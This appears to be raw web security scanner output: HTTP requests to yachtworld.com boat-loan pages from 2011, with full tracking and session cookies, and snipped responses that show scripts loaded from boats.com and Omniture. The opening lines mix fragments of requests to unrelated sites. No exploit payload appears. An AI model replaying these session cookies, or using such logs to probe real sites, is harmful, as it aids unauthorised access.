HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:49:26 GMT Server: Apache/2.2.10 (Unix) mod_ssl/2.2.10 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6 Accept-Ranges: bytes Connection: close Content-Type: text/html Content-Length: 25724
GET /forums/showthread.php?t=39177&highlight=smooth HTTP/1.1 Host: www.dynamicdrive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /forum/showthread.php HTTP/1.1 Host: www.reel-time.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- BEGIN TEMPLATE: STANDARD_ERROR -->
GET /boat-content/2011/01/a-new-bertram-flagship-the-800/ HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:35:29 GMT Server: Apache X-Powered-By: PHP/5.2.9 X-Pingback: http://www.yachtworld.com/boat-content/xmlrpc.php Link: <http://www.yachtworld.com/boat-content/?p=6666>; rel=shortlink Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
GET /boat-loans/finance/help_boatsbank.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 22:44:26 GMT Server: Apache Set-Cookie: JSESSIONID=797529CC4CDD1160056CE0F846F79790.boapp05; Path=/boat-loans Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<META http-equiv="Content-Type" conten ...[SNIP]... <link rel="stylesheet" type="text/css" href="http://imagesgz.boats.com/includes/web-resources/boat-loans/sprint-28_2010/css/boats.css"> <script type="text/javascript" src="http://imagesgz.boats.com/includes/web-resources/sprint-28_2010/js/referrer_tracker.js"></script> ...[SNIP]... <head> <script language="JavaScript" src="http://imagesgz.boats.com/includes/web-resources/boat-loans/sprint-28_2010/js/dhtmllib.js"></script> ...[SNIP]... <link rel="stylesheet" type="text/css" href="http://imagesgz.boats.com/includes/web-resources/boat-loans/sprint-28_2010/css/boats.css"> <script type="text/javascript" src="http://imagesgz.boats.com/includes/web-resources/sprint-28_2010/js/referrer_tracker.js"></script> ...[SNIP]... <!-- SiteCatalyst code version: H.15.1. Copyright 1997-2008 Omniture, Inc. More info available at http://www.omniture.com --> <script language="JavaScript" type="text/javascript" src="http://imagesgz.boats.com/includes/web-resources/sprint-28_2010/js/yw/s_code.js"></script> ...[SNIP]...
GET /boat-loans/finance/rates.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 22:44:22 GMT Server: Apache Set-Cookie: JSESSIONID=9CB6B77DFE1F357C7A15A4F940F2FEA1.boapp05; Path=/boat-loans Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<META http-equiv="Content-Type" content="text/ht ...[SNIP]... <link rel="stylesheet" type="text/css" href="http://imagesgz.boats.com/includes/web-resources/boat-loans/sprint-28_2010/css/boats.css"> <script type="text/javascript" src="http://imagesgz.boats.com/includes/web-resources/sprint-28_2010/js/referrer_tracker.js"></script> ...[SNIP]... <link rel="stylesheet" type="text/css" href="http://imagesgz.boats.com/includes/web-resources/boat-loans/sprint-28_2010/css/boats.css"> <script type="text/javascript" src="http://imagesgz.boats.com/includes/web-resources/sprint-28_2010/js/referrer_tracker.js"></script> ...[SNIP]... <!-- SiteCatalyst code version: H.15.1. Copyright 1997-2008 Omniture, Inc. More info available at http://www.omniture.com --> <script language="JavaScript" type="text/javascript" src="http://imagesgz.boats.com/includes/web-resources/sprint-28_2010/js/yw/s_code.js"></script> ...[SNIP]...
GET /boat-loans/finance/what_to_expect.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 22:44:24 GMT Server: Apache Set-Cookie: JSESSIONID=734A9D1AB92AC0313D2B6E84A3195F78.boapp05; Path=/boat-loans Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<META http-equiv="Content-Type" content="t ...[SNIP]... <link rel="stylesheet" type="text/css" href="http://imagesgz.boats.com/includes/web-resources/boat-loans/sprint-28_2010/css/boats.css"> <script type="text/javascript" src="http://imagesgz.boats.com/includes/web-resources/sprint-28_2010/js/referrer_tracker.js"></script> ...[SNIP]... <head> <script language="JavaScript" src="http://imagesgz.boats.com/includes/web-resources/boat-loans/sprint-28_2010/js/dhtmllib.js"></script> ...[SNIP]... <link rel="stylesheet" type="text/css" href="http://imagesgz.boats.com/includes/web-resources/boat-loans/sprint-28_2010/css/boats.css"> <script type="text/javascript" src="http://imagesgz.boats.com/includes/web-resources/sprint-28_2010/js/referrer_tracker.js"></script> ...[SNIP]... <!-- SiteCatalyst code version: H.15.1. Copyright 1997-2008 Omniture, Inc. More info available at http://www.omniture.com --> <script language="JavaScript" type="text/javascript" src="http://imagesgz.boats.com/includes/web-resources/sprint-28_2010/js/yw/s_code.js"></script> ...[SNIP]...
<script language="JavaScript" src="http://imagesgz.boats.com/includes/web-resources/boat-loans/sprint-28_2010/js/dhtmllib.js"></script> ...[SNIP]... <!-- SiteCatalyst code version: H.15.1. Copyright 1997-2008 Omniture, Inc. More info available at http://www.omniture.com --> <script language="JavaScript" type="text/javascript" src="http://imagesgz.boats.com/includes/web-resources/sprint-28_2010/js/yw/s_code.js"></script> ...[SNIP]...
GET /boat-loans/partner_program.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; 